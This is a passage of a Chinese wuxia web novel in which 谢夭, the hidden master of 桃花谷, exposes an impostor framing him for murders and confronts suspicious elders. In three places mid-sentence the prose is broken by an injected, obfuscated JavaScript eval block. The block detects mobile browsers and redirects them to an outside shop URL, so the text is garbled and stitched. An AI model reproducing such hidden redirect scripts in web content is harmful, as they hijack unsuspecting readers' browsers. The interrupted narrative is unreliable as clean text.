宋明赫转身对怀竹月道:“除了各要道和城门守卫,其余人全部调上山。”又问那年轻人:“装束呢?装束看清了吗?” 年轻人张张嘴似乎想说什么,但一张嘴就是一口血沫,不受控制地往外涌,他咳咳两声,倒地而亡。 一行人都是神魂巨震,距离他们上山不过短短一刻钟,已经死了六个人。 宋明赫蹲下身,从那倒地的年轻人耳蜗里面揪出了一点还带着血的桃花瓣,他哼一声,把那桃花瓣狠恨扔到地上,用脚碾碎,道:“所有人开始搜!” 李长安提了剑,稍微冲宋明赫和怀竹月行了一礼,立刻朝西而去。 谢夭本来还在凝眉看尸体,看李长安走了,冲宋明赫和怀竹月抱歉一笑,也跟上去往西。 李长安一路轻功速度飞快,不过几秒已经拉开了距离。褚裕勉强跟上谢夭的速度,一边大喘气一边问:“怎么我们也要跟着去?现在他们抓的就是谷主啊!” 谢夭道:“那人是桃花谷人杀的。” 褚裕惊讶道:“什么?!” 在这望城山上,除了他们两个,竟然还有其他的桃花谷人?他们是怎么混进来的?城门口的通息铃不会响么?还是说,他们压根没有出过望城?一直在这等着谢夭过来? 谢夭道:“那人后脖颈上有一道黑色蛛网的痕迹。” 桃花谷内有一种特制的暗器,名为鬼针,针头进入皮肤之后不消半个时辰立刻消融,只在皮肤表面留下一点黑色蛛网痕迹,如果不仔细看,会以为那是死者本来就有的一块小痣。 那人的死因就是这鬼针,而不是什么从耳朵里拿出来的桃花花瓣。 褚裕道:“所以是谷内有人一直在冒充谷主杀人?” 谢夭点头。其实对于冒充他的人选,他心里已经有了个大概了。 褚裕又道:“桃花谷人又怎么了?谷主这是要去救他?” 谢夭笑了:“褚裕,你有没有想过,现在全天下能堂而皇之指出我桃花仙身份的,只有桃花谷人了。” 褚裕一怔,又看向在他们前面赶去抓人的李长安,旋即明白了。 既然谷内有人以桃花仙名义不停杀人,又在此时此刻,刚刚好谢夭来了望城山之后继续,那就只有一个目的,借名门正派的手把谢夭杀了。 如果这个时候让李长安先抓到人,那人必定会亮明自己桃花谷身份,接着攀咬出谢夭,到时候…… 褚裕反应过来之后,立马急了,道:“快走快走!” 10. 望城山(六) 除了李长安,宋明赫和怀竹月也带着人一起赶往西边山坡,路上,李长安看见一直跟在后面的谢夭,道:“你怎么也跟过来了?等会儿我顾不上你。” 谢夭道:“放心,肯定不添乱。” 褚裕在旁边嗯嗯点头,低声道:“放心,肯定会添乱。” 谢夭对着褚裕后脑轻拍一下,褚裕吃痛抱头,又不服输看他,谢夭这才无辜笑着道:“嗯?你刚说什么来着?” 李长安:“……” 这时还没走到那五人的尸体近前,只能远远看见地上横着五具尸体,李长安继续往前走去,谢夭莫名拉他一下,就在这时,两三支冷箭飞来,正巧落在李长安刚才的位置。 那三支冷箭箭头上还冒着森森寒意,远处,两个黑色人影窜过草丛。 李长安回身,就近找了棵树把谢夭安顿了,又就地画了个圈,道:“在这等着,别乱跑。”说完转身就要去抓人。 谢夭看着那个圈,点点头道:“那好吧,我一个人呆这里也行,反正不会武功也死不了。” “……” 褚裕先是愣了下,心道谢夭是不是被什么玩意儿上身了,又反应过来道:“公子这招高啊!怎么想出来的?” 只见李长安果然停下了。 李长安本来都走了一半了,听完这话又忍无可忍停下脚步,全身上上下下摸了一遍,摸出来一把小短刀,扔给谢夭道:“小了点,先拿着用,别死了。” 那短刀果然很小,说是刀,其实更像剑,不过是给身量不高的小孩用的那种。 俩人站在李长安画的那个圈里面,一步也没出去,跟那个随手画下的圈真有什么法力似的。那边,归云山庄与忠义堂的人一齐涌上去,两个黑衣人盘旋在他们中间,场面一片混乱。 宋明赫倒是没上前,只是站在外围远远看着。 一是因为他身份尊贵,和这些小弟子混在一起去抓人像什么样子?就算要出手,也要等到最后。二是因为他是名扬天下的千仞剑,剑客排行榜上第四,如果他出手,抓到的人是桃花仙还好,如果不是,一个小喽啰就逼得千仞剑出剑,传出去让人笑话。 只见归云山庄弟子眼看要围剿那人,却在那瞬间因为下盘不稳出现一个缺口,那黑衣人险险脱逃。 “嘶,啧。” 宋明赫突然就听见这么两声。 转头,只见谢夭看着战局,不甚看好,甚至略带嫌弃地摇了摇头。 宋明赫心道这算什么意思?看不上我归云山庄?还是看不上我?他压住心中怒气,道:“小友有何见解?” 谢夭还在兀自感慨归云山庄弟子怎么一代不如一代的时候,忽然感受到宋明赫盯着他看的目光,立刻换上一个歉歉然的笑,冲他点头,道:“庄主刚才说什么?” 宋明赫:“……” 谢夭应付完了宋明赫,就在这时,一支冷箭悄无声息飞来,正对着谢夭面门,破风声清清楚楚传至耳边,谢夭拉着褚裕滑步后撤,发丝扬起瞬间,飞剑凌空而至。 飞剑喀拉一声克开冷箭,剑柄系的吊坠上书四个大字——独步青云。 飞剑的,正是那个说打起来顾不上他的李长安。 谢夭转头,只见李长安半跪在地上,发丝还没落下,明显是刚转过身,百忙之中抽空往他这边飞了个剑,见冷箭被克断了,他桃花眼眼尾一扬,只那一眼便少年气十足,朗声道:“青云,回来!” 青云受到感召,一阵震颤,从谢夭眼前飞回时却莫名停留了一瞬,接着飞速而去,李长安一接到剑,立刻转身横劈,剑气震落了周围几丈的落叶。 黑衣人竖剑格挡,但已然来不及了。因为李长安下一剑已至,几乎是和剑气同时到了他身边,他胡乱伸手抵挡,却没有预想中的剑落下,而是膝窝被人踹了一脚。 李长安把剑架他脖子上,踹他膝窝把人踹倒,却没看人,只是偏头去看不远处的草丛。 那里的草无风自动,一个影子影影绰绰闪过。 可惜,还是跑了一个。 谢夭仍躲在那李长安画好的圈里,抬头,却见那跪在地上的黑衣人似有似无地看向自己,反复几次之后,谢夭确定了,他就是在盯着自己看,最后,甚至嘴角咧开一点,露出一个不怀好意的笑。 跟他预想的果然一样,望城山这场戏,就是冲着他来的。 谢夭偏头问道:“褚裕,这人,你在桃花谷见过么?” 褚裕道:“我刚来谷里多久?” 谢夭道:“我记性不好。” 褚裕心道记性不好耳朵不好眼睛也不好,怎么什么事都让谢夭摊上了。 按理说习武之人五感应该比常人更敏锐些,但谢夭却好像是个意外。或者多半记性不好也是假的,专门用来欠债不还。心里这么想,嘴上没敢这么说:“好似没在谷里见过。” 褚裕不知道的是,谢夭经脉受损,体内两股内力相冲,内力本来应加强五感,但因相冲却起了反作用,五感渐渐退化。 谢夭了然点点头,道:“我也没见过。” 这人看来是专门养在外面的,虽然谢夭不认识他,但是看来这些人认识自己。 褚裕道:“人还是被抓了一个,怎么办?哎,这小子刚才是不是奸笑来着?” 一句话没说完,谢夭径直走过去,疑惑道:“这就是桃花仙?好像长得确实不太好看。” 褚裕差点听跪下。 谢夭这不是哪壶不开提哪壶吗?如果不提,可能这人还稍微缓一缓,装一装,好把卖主求生表演得真一些,如今已经开了这个口,此时不说,更待何时? 再说了,哪有说自己不好看的? 那人笑道:“我怎么可能是桃花仙,我不过一个小喽啰,在桃花仙手底下卖命的。” 李长安环视四周,道:“桃花谷还有几人在望城?” 那人缓缓道:“不好说。十几,二十,三十,五十……” 差的数量太多,好似什么都说了,但实际上什么也没说。此人是个老江湖,知道该说什么,不该说什么,信息能放出去多少,怎么才能保住一条命。 谢夭不动声色地眯了眯眼睛,心道,太麻烦。 李长安问:“桃花仙在吗?” 那人双唇紧闭,一双三白眼狠狠盯着李长安,盯了许久,点了点头。 若是换了平常人,听到桃花仙就在望城,在他们附近,都要吓疯了,恨不得立刻拖家带口收拾家伙走人,生怕一个不注意就死在了桃花仙桃花瓣下。 但李长安却舒了一口气,眉眼明显舒展了些,语气也调笑起来,道:“所以,刚才逃跑的那人……” 那人闭上眼道:“他不是。桃花仙……”说罢又睁开眼,扫视众人,道:“另有其人。” 这一眼好似能看穿众人心底似的,褚裕下意识抓紧了谢夭衣袖。 谢夭就站在那人旁边,宽大的袖子掩在那人身后,他道:“所以这桃花仙,到底是何方神圣?” 那人身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711079|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形明显一顿,他感觉到一个锋利的东西不动声色地顶着他后腰,再抬眼,却见谢夭笑着看向他。 他环视一圈,发现全都在盯着他,不管是眼前的这个真桃花仙,还是这个年轻少侠,抑或是那边阴阴沉沉看着他的宋明赫。后腰尖锐的痛感明显了,明显是谢夭用了力气。 他又把目光转到谢夭脸上。 谢夭一扬眉:“看我干什么?我说你丑你不乐意?” 那人低头,心道谷主这人果然有意思,只可惜他一直被要求留在谷外,就为了一朝一日算计桃花仙。 半晌,那人冷笑一声,道:“放了我,我自然会说。” 那人被绑了,押回山下留着以后慢慢再审。山上还需要继续搜查桃花谷人踪迹,谢夭借口看不了血腥,先行下山,却在下山之后,跟着关人的小弟子,看见他们把人关进了柴房。 望城山到底不是归云山庄地界,一切都只能从简,一个连门派驻扎都没有的地方哪的地牢?只能柴房充当牢房先凑合一下,毕竟只要把人绑结实了,哪都一样。 但还是有点不一样的,柴房可比牢房好混进去多了。 谢夭支开门口那两个看上去就有点傻的小弟子,一人进了柴房。 推开门,灰尘扑面而来,满鼻子都是柴火味。柴房内只有一扇开在屋檐之下的窗户,昏暗至极,那人就被绑在屋子中间的木桩上。 那人见谢夭进来,咳嗽两声,道:“谷主。劳烦谷主大驾。” 谢夭走到他跟前,调笑着问:“哦,你认识我。” 那人道:“虽然没进过桃花谷,但到底还是桃花谷人,还是认识的。” 谢夭摆摆手道:“废话不多说了,望城山这戏,是为了我排的?” 那人很干脆地点头。 谢夭心道怎么还丝毫不遮掩呢? 其实也没遮掩的必要,两方都是聪明人,聪明人再遮遮掩掩打哑谜就是浪费时间了。 谢夭问道:“为什么挑中了松云剑?” 那人道:“谷主应该知道,松云剑曾拜谢白衣为师,被谢白衣拒绝了。即使没有入谢白衣门下,单凭松云剑愿意拜小自己二十岁的谢白衣为师,就颇受归云山庄之人赏识。而又是谷主,杀了谢白衣。松云剑名气足够,跟谢白衣又有瓜葛,足够把事情闹大。” 谢夭点点头,又转回头,淡淡看着他道:“好算计。但我若说,谢白衣不是我杀的呢?” 那人看着谢夭,看了好一会儿,一笑:“谷主,你是个聪明人,你应该知道,不重要。” 谢夭莫名笑了,确实不重要。他转了个话题,道:“那就说个重要的吧,让我来猜猜,你上面是谁。” 那人脸色立刻变了。 谢夭道:“桃花谷四守护中的哪一位?总不能是江问鹤那小子派你来的吧?说起来江问鹤确实每天嚷嚷着要杀了我……” 尤其是他偷喝江问鹤酿的药酒的时候。 那人笑道:“谷主说笑了。” 谢夭转头,冷冷看他,道:“还是说,两位长老中的哪一位?” 那人笑容僵在脸上,一时半刻没有说话。 谢夭好整以暇道:“那问个你能说的吧,你打算何时捅出我桃花仙的身份?” 那人阴沉沉看他一眼,道:“那位年轻少侠,下一次进门的时候。” 谢夭道:“如此……甚好。” 就在这时,柴房外面传来了极具少年气的一声喊。 ——“谢夭!” 11. 华光庙(一) 山上的搜查没什么收获,李长安回了自己房间,发现隔壁房间的门虚掩着,里面空空如也,谢夭不在房间。 李长安出山庄游历,一路上都是自己一个人,早已习惯独来独往,也没什么发现人不见了就去找人的习惯。归云山庄那些小弟子,都说长安师兄孤僻,身边都没什么朋友。在那一辈弟子里,也只有宋川宋溪胆子大,敢跟长安师兄说话。 但如今望城不太平,谢夭那个半点武功不会的病秧子,再加上一个咋咋呼呼只会吃饭的小书童,桃花谷要杀他们不是如同砍瓜切菜? 李长安眉头轻微皱了一下,想了一下,毕竟这人是自己带回望城的,还是去找人了。 一路找到柴房。柴房门口空无一人,门口看人的小弟子不知道去了哪,李长安心里感觉不妙。只见门虚掩着,里面黑咕隆咚,像是完全没人。风卷起叶子又落下,细碎声响中,处处透露着一股诡异。 李长安放轻了步子,走近,伸手推开门。 门页许久没有上油了,吱呀一声,屋内顿时尘土飞扬,眼睛适应了一下门内的昏暗光线,才看清除了飞扬的尘土,还有片片落红。 至于刚抓到的那个人,脖子歪着,脖颈上嵌了一圈桃花花瓣,花瓣颜色都被染成血红。 早已没了呼吸。 人死了。线索又断了。 李长安眸光一沉,心情也跟着沉了七八里地。他拇指抹了那人下摆一下,捻着手上的香灰,沉吟道:“桃花仙……桃花仙……” 自他十二岁立誓起,如今已七年了。 这时,屋内角落的箩筐倒地,一人从里面灰头土脸地钻出来。李长安下意识启了一点剑鞘,却在看清人一霎那,把剑落了回去。 从里面钻出来的,竟然是谢夭。 李长安道:“谢夭?你怎么在这?” 谢夭拖着胳膊扶着墙,慢慢走出来,道:“替门口那俩小弟子看门。”说着,又嘶了一声,胡乱抹了下右胳膊,一摸摸了一手血。 他颇有些嫌弃,用旁边的墙擦手。 李长安道:“你受伤了?” 谢夭笑了:“李少侠,这么明显都看不出来?” 李长安道:“看清人了么?” 谢夭拖着胳膊,思索了一会儿,道:“身量跟我差不多,一身粉红长衫,脸上戴着面具,看不清脸。只看清了发髻,是一支桃花枝。难道说那人就是桃花仙?他过来杀人灭口?” 问完,却半天没有回应。谢夭心道已经说得如此明显了,再反应不出来那就是榆木脑袋!谢夭又转念想了想之前教李长安的时候,虽说性子有点拗,但悟性高,也还算聪明。 谢夭暗暗心道难不成他不在这几年,整个归云山庄把人培养傻了?抬眸,却见李长安皱眉看他受伤的胳膊。 谢夭:“……” 合着不是培养傻了,是培养得晕血了。 谢夭瞧这他目光,一时间被看的有些不自在,下意识捂住胳膊,刚想一反常态不卖惨了,摆摆手道:“没事——” 却听李长安道:“谢夭,你好像有点容易死啊。” 谢夭:“……” 确实容易死。 这一路上,被两仪观的人追杀,惊了一千八百只通息铃,如今又差点死在桃花仙手里,到了望城,更是查出个经脉逆行的不治之症。李长安就没见过谢夭全须全尾的时候。 只是谢夭听着莫名不爽,这是把自己当什么花花草草养了是么? 只见李长安一脸认真,好像是真的觉得自己“容易死”,他道:“我要是死了,这也算是为归云山庄而死,归云山庄给我收尸吗?” 李长安不接话,谢夭又兀自道:“我听说归云山庄剑心冢旁边就是剑归墟,庄中死了人,剑重新入剑心冢,至于人,就沉入旁边的剑归墟。” 剑归墟位于归云山庄后山,庄内所有水源汇于此处,是个深不见底的湖泊。人死之后,就把骨灰沉于此处,是为长眠。在剑归墟旁边,就是一个深谷,是为剑心冢。剑心冢设七十层铁制天梯到达谷底,天梯旁尽是剑,谷底是沸腾的岩浆,岩浆之中插着绝世名剑。剑归墟和剑心冢设在一起,也有人剑同归的意思。 谢夭眨眨眼道:“要是替我收尸,把我沉归墟里就行。” 要是其他人在,必定暴起道,剑归墟也是你这个门外汉能进的?!李长安却沉默一会儿,道:“也不是所有人都沉了剑归墟的。” 归云山庄建立百年来,大部分都沉了剑归墟,就算是死在山庄外的,也千方百计寻了尸骨。如今只有一位,至今未入归墟,一是因为寻不到尸骨,二是因为庄内有人认为他没死,那就是谢白衣。 谢夭不接话,李长安目光一转,看着他道:“至于你,一不为归云山庄弟子,二还没死呢。先活着再说吧。” 李长安带着一个嗷嗷喊疼的病号,一路上引来了不少目光,李长安瞧着那些目光,脸更冷了。谢夭道:“少庄主,我这伤是为了归云山庄受的,你就不能温柔点吗?我胳膊没被桃花仙砍掉要被你掐掉了。” 李长安冷笑一声,心道要是他真粗暴,早就把谢夭嘴给堵了。 谢夭又道:“李少侠,你十九岁了吧,你这样以后成亲怎么办?” …… 目光更多了。 李长安忍无可忍道:“我不成亲。” “少庄主。” “李少侠。” “少庄主。” “……” 李长安听得直皱眉头,进了屋就拿了个茶点堵住谢夭的嘴,才道:“胳膊受伤死不了。” 刚从厨房偷吃回来的褚裕吓了一大跳,连忙道:“怎么了这是?” 谢夭指了指右胳膊:“为归云山庄,残废了。” 李长安下去拿金疮药,门刚一关上,谢夭就用那只残废的胳膊若无其事地端起杯子喝了口水。褚裕看着谢夭用那只胳膊端水,自己胳膊好像也疼了起来,他龇牙咧嘴的,像是都疼到他身上了。 褚裕道:“谷主,你这……望城还有人能伤你?” 谢夭平静道:“我自己划的。”转头,看见褚裕呲牙咧嘴的表情,笑了:“伤在我胳膊上,你疼什么?” 褚裕搓了搓自己胳膊,意识到自己胳膊至今完好,忙把表情收了,道:“我幻痛。抓住的人怎么办?” 谢夭道:“死了。” 褚裕这才从谢夭身上看见一点魔教教主,桃花谷谷主的意思,杀伐决断,见血都不眨眼的。他望着那道口子,心道谷主果然是谷主。 谢夭把袖子撕了,看见伤口里几片欲盖弥彰的桃花瓣,左手覆上去,顷刻间那些桃花瓣就变成一片死灰,融进伤口里,谢夭看了会儿,嫌麻烦似的,也没把死灰弄出来,若无其事把伤口缠上了。 李长安给人送完了药,又一个人去冰棺处看了尸体,松云剑的尸体嘴里耳朵里都塞满了桃花瓣,即使放在冰棺之中,有些也已经腐烂了。从外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711080|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形上看,看不出尸体的致命伤,但仵作查验之后发现,内脏已经被内力隔空震烂了。 松云剑好歹也是剑客排行榜第九,究竟多高的武功能凭空震烂他的内脏?桃花仙的功力,高深至此么? 还有一点格外奇怪,松云剑为何会死在望城山上?望城山不过一个小山坡,荒郊野外,他没有特意来这里的必要。如果真如宋明赫所说,他是来看情人,就更不会来这荒坡之上了。 李长安隔着一层冰往里看,在松云剑衣服下摆处,看见了一点烧焦的痕迹。 他眉头微皱一下,灭了房间的灯,从屋里出去了。 看完尸体出来已是深夜,走回房间的路上,恰巧碰上同行的宋明赫和怀竹月。两人似乎是刚从柴房那边过来,看来是去处理桃花谷人的尸体了。 那人死得太快,什么都没问出来,尸体上也没什么线索,忙活了半天,依旧是一无所获。 李长安行礼道:“师伯,小师姑。” 宋明赫看了眼李长安来的方向,道:“刚看完尸体?” 李长安点头:“嗯。” 宋明赫叹口气道:“长安,你在外游历,望城查案之事,连信都没递给你。你可知道为何?松云剑,桃花仙,你师父……这些都是上一辈的事了,是我们的事,你有你自己的路。” 李长安心道,杀了桃花仙不算路么?嘴上却道:“只是因为师伯小师姑都在望城。” 宋明赫沉沉看他一眼,道:“你怎么这么拗呢?你师父他……” 李长安打断他的话:“师伯、小师姑,天色不早了,师伯师姑早点休息。”说完行了礼,转身就回了房间。 门外,宋明赫重重叹了一口气,指了指那房门,气道:“还和小时候一样犟。” 怀竹月宽慰道:“师兄又不是不知道长安的性子,从小就这样。小时候跟谢师兄犟,现在跟自己较劲。如今更是,提起来谢师兄就跑,一句话都不想多说。” 李长安其实是个非常不服管的人,更何况在他的认知里,谢白衣这个师父很不靠谱。 全天下没有哪个师父会不给徒弟上课,偷跑去酒楼,反而被徒弟抓包的。也不会有哪个师父演示剑招之后,转头问徒弟剑招帅不帅,厉不厉害的。 于是李长安从小就和谢白衣吵吵闹闹,后来被谢白衣毒打的多了,在认识到自己师父好像真的有点厉害之后,李长安的目标就变成了拿起谢白衣的剑,打败谢白衣。 除了打败谢白衣之外,他更大的目标就是像后山石刻上刻的那样,修身立命,斩妖除魔,做一名大侠,做武功绝顶的大侠。 因此李长安满脑子里只有修炼修炼修炼,至于其他的,全都被他抛掷脑后了。那时候就有人传李长安孤僻,性子犟了,但李长安不在乎,在乎感情的,就不是话本里笑傲江湖的大侠。 某天傍晚,李长安还在练剑,那柄谢白衣给他刻的小木剑他已经练的有模有样了,谢白衣在旁边百无聊赖地看他,一只手托着脸问他:“李长安,你这样辛苦练剑,有一天超过我了,你就没有师父了。” 李长安继续练剑:“哦。” 谢白衣继续问:“那你师父我就不教你了,就走了。我要是走了,你会想我吗?” 李长安看木剑浅浅划出一道剑气,道:“不会。” 谢白衣淡淡地“哦”了一声。 李长安抿了抿嘴唇,又瓮声瓮气道:“想一个已经走了的人,一点都不潇洒。” 12. 华光庙(二) 李长安晚上把来望城之后的遭遇想了一遍,烧毁的客栈,松云剑的尸体,桃花谷人的尸体,还有那死亡的巡逻弟子,似乎总有什么关窍不对。 翌日一早,他拿了早点敲响了谢夭的房门,等了许久,褚裕才哈欠连天地过来开了门,见来人是李长安,他道:“你把我们当归云山庄弟子使唤了?谁家好人起这么早?” 其实归云山庄弟子也不起那么早,只是李长安起得早。他少时满脑子练剑练剑练剑,比他那个便宜师父还勤奋。往往是谢白衣还窝在床上呢,李长安就拎着他那柄小木剑出门了。 李长安道:“谢夭呢?” 褚裕往床那边努了努嘴,不知为什么,表情也似乎有些恨铁不成钢。 李长安往那边一看,明白了。只见床上鼓起了一个小丘包,谢夭整个人钻进被子里,只有一点头发露在被子外,那丘包时不时抖一下,蒙在被子里的人似乎快要醒了。 李长安道:“谢夭?” 过了许久,谢夭才模模糊糊地嗯了一声,声音透过被子穿过来,显得有点闷。 李长安没跟人同床共枕过,也没听过其他人刚睡醒时什么腔,听见谢夭模模糊糊一句嗯,忽然有点不好意思开口了,想了想,他还是道:“富安客栈有问题。” 又等了一会儿,就见那小丘包动了一下,谢夭才反应过来似的,道:“李少侠,你让我歇会吧,又不是谁都跟你似的十九岁。我骨头都要散架了,我要养伤。” 李长安看了看褚裕,心道昨天就手臂被划了一下,敷上归云山庄特制的金疮药,如今怕是已经开始愈合了,关骨头什么事,腿又没断,养的哪门子伤? 却见褚裕眉头一挑,道:“看我干什么,我刚十五。” 李长安:“……” 李长安心道谁问你这个。 谢夭从被子里伸出来一截白花花的手臂,晃了晃,仿佛在送客。 李长安道:“我派两个人守在门口?” 谢夭手指晃了晃:“不必了,多谢少庄主。”手指一动,指向了门口,似是在说,“快走吧您。” 李长安把早点放了,吱呀一声关上门,褚裕打了个哈欠又要回去睡觉,却见刚才还病病歪歪满口骨头散架的人生龙活虎地从床上坐起来,褚裕吓了一跳,瞌睡直接吓没了。 谢夭活动了一下筋骨,道:“走,出门。” 褚裕问道:“谷主,不养伤了?” 谢夭从枕头底下抽出来一封密信,随手扔在桌子上,道:“养什么伤。” 褚裕把信展开,上面是芳落姑姑的字迹——“十月初七,颍州落花堂。” 落花堂是他们他们桃花谷的产业,从上一辈就传下来的,表面是卖胭脂水粉,实则是桃花谷据点。本来落花堂在十四州各有一处,但桃花谷后来深受打压,谷里又实在是穷,有些据点已经荒废了。 幸好,这颍州的落花堂还开着,胭脂水粉还卖着,只是生意不好,若是桃花谷内拿不出银子养着,马上也要关门大吉了。 褚裕疑惑道:“芳落姑姑这是什么意思?也不把事情先说了。” 谢夭本不想赴约,桃花谷内每日发生的都是些芝麻大小的小事,芳落养的鸟死了又活了,江问鹤拿来泡酒的蛇跑了,或者是哪颗桃花树快要死了。 一代魔教在谢夭镇压之下,生生从江湖毒瘤变成了一代良民,强取豪夺不可能,杀人放火更不必说,只剩下今天吃什么明天吃什么这样的屁事。 想来,现如今桃花谷最大的事,可能就是他这个残废谷主什么时候能死。但桃花谷谷主的身份在那放着,似乎不去也不行了。 — 颍州落花堂那个胭脂铺子又关了门,暗无天日的屋里一堆人或坐或站,几乎桃花谷内所有能说得上话的人物都在这了,从左右使,四守护,到四位护法长老,大管家芳落,可见事情有多大。 “谷外的看守越发多了,这可怎么办?” “谷主外面的名声也不太好啊。若是谷主在谷内,恐怕更群情激愤吧。” “嘘,这话也敢乱说!小心谷主用花瓣把你头割了。” 一群人本来正窃窃私语,一阵风强硬地把胭脂铺子的破门吹开,桃花瓣撒了一地,一群人集体感知到什么,都立刻噤声,芳落和恶长老立马站起来,看向门口。 谢夭手持一柄素白折扇,衣服里紫外粉,瀑布一般的黑发半绾起来,斜斜插了一支桃花枝,桃花簪子上桃花半开,颜色却不似寻常粉色,反而有点像血。 谢夭一路走来,所有人齐齐下跪。他在最顶上的那把太师椅上坐了,一手支着头,手里扇子轻轻一抬。 下面的人这才敢起来。 然后就是漫长的寂静无声。 谢夭不说话,他们也不敢说话。谢夭也不知道他们这是在哪学的毛病,似乎必须要谢夭开口问“有何事要报”,下面人才肯开金口。他又不耐烦地等了一会儿,终于淡淡说了一句:“说。” 一句话,恶长老直接从椅子上窜起来,在他面前跪下了。 “……” 恶长老言辞恳切道:“望谷主早日回谷!” 谢夭抬抬手道:“先起来再说。” 恶长老道:“谷主,桃花谷外驻扎看守的人愈发多了,最开始在桃花谷周围安插人手的不过归云山庄、忠义堂、金蚕宗四五个门派,如今已有数十门派之多,豺狼环伺,不可不防!谷内不可一日无主!” 谢夭心道没想到还真来了个正经事,他转头问芳落道:“真有这么多?” 芳落点头,笑道:“谷主,真有这么多。” 说完,芳落肩膀上站着的那只黑色乌鸦说话了,它一连串道:“这就在桃夭殿吊死,这就在桃夭殿吊死。” “找谷主,找谢夭。找谷主,找谢夭。” 下面人大气不敢喘。 这一听就是芳落口头禅,芳落身为桃花谷大管家,一天天要管的屁事太多,有时实在管不了,她就会扔一句“找谢夭”。至于在桃夭殿吊死,那就是芳落在看到桃花谷账本之后了。 芳落面无表情地把那只死鸟按了,冲谢夭微笑。 谢夭摸了下鼻子,尴尬道:“……确实还是我最近在江湖上名声不太好。” 桃花仙作恶多端,江湖门派自然要给个态度,所以才在桃花谷外设防。如果桃花仙死了,桃花谷周围的暗中据点最起码得撤去一半。 谢夭自己说自己名声不好,下面可没人敢附和。只有褚裕暗暗道,何止是名声不好,只怕是喊打喊杀。 一时又没了话,谢夭看着外面的熹微的天光,忽然想起来李长安,李长安这时候应该已经到富安客栈了吧? 芳落疑惑道:“谷主?怎么了?” 谢夭摆摆手道:“没什么,想起个人。” 就在这时,门又被人推开,极长老姗姗来迟,一来就冲谢夭行礼,道:“谷主,桃花谷据此路途实在遥远,来晚了。望谷主赎罪。” 谢夭上上下下打量了他一番,全身上下佩戴整齐,没有一点着急赶路的样子,就连鞋也是崭新的,只有鞋底一点湿土,粘着几片花瓣。 谢夭忽然觉得事情有意思了起来,他玩味笑道:“无妨。正说到我在江湖上名声呢,我说桃花仙在江湖上名声不好,长老以为如何?” 极长老立刻跪下了,道:“小的不敢。只是还望谷主早日回谷。” 谢夭道:“当年那一战在那摆着,桃花谷的瘴气还没散呢,就连谢白衣都死在那了,他们不敢轻易入谷。” “那一战是,那一战是……”恶长老想说什么,说到一半,又重重叹一口气,不肯再开口了。 谢夭道:“那一战如何?” 恶长老道:“谷主不是不知道,那一战是……那一战是有神兵天降啊!” 当年桃花谷一战遇伏,全天下都以为是桃花谷暗中设下的伏兵,就连谢白衣也以为是桃花谷的人,直到被一直隐居在桃花谷中的江问鹤所救,谢白衣才知道,桃花谷人数巅峰时不过五百人。 不过五百人的桃花谷,怎么可能有一支能把谢白衣、归云山庄、乃至全天下都阴了的伏兵? 谢夭哼一声,道:“当年的神兵,还没找到是谁的人?” 极长老道:“神兵不可重来。当务之急还是先囤积粮草,做好边防,以备不测。” 谢夭眼睛眯了下,道:“我不在这些日子,长老为谷中之事操劳,似是清减了不少。” 极长老道:“不敢。分内之事,不敢说操劳。” 谢夭道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711081|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “长老从谷内出发之时,谷中天气可好?” 一群人不知道谢夭为什么突然问这个,极长老表情也一变,略微停顿一下,似是在想这个让人琢磨不明白的谷主到底想听到什么答案,他一弯腰,道:“万里无云。” 谢夭走下高台,在仍弯腰行礼的极长老身边绕了两圈,转头问芳落:“万里无云?” 芳落点头:“万里无云。” 现在是个人都能看出来谢夭在怀疑极长老,一群人大气不敢喘,都等着谢夭发落,至于发落,那无非就是一个结果了。 谢夭一笑,拍了拍极长老的肩膀,道:“长老辛苦。当赏。即日起,极长老晋升四大长老之首,仅居我之下。” 屋内人先是错愕,见极长老行礼之后,一群人才反应过来,似乎谷主是真的赏了,这才齐声道:“恭喜极长老,贺喜极长老。” 谢夭走近极长老,拔下头上那只桃花簪子,笑道:“我也活不了多久了,我死之后,这桃花谷谷主之位,还得你来坐。”说着,细心地把那簪子,插进了极长老的金玉头冠之中。 落花堂中人都撤了,关于桃花谷外暗桩的事也没讨论出个所以然。极长老人一走,谢夭眼睛半眯了下,对芳落道:“盯着,有问题传信给我。” 芳落点头:“极长老有问题?” 谢夭点头,半晌又道:“极长老是不是有个妹妹?十多年前因情而死?” 芳落点头。 那就对了。谢夭扇子一收,伸了个懒腰,道:“走了,回去睡觉。” 芳落:“……” “桃花谷外暗桩的事不管了?”芳落忍不住道。 谢夭摆摆手道:“没多大事,桃花仙死了就行了。” 听听,这说得是人话吗? 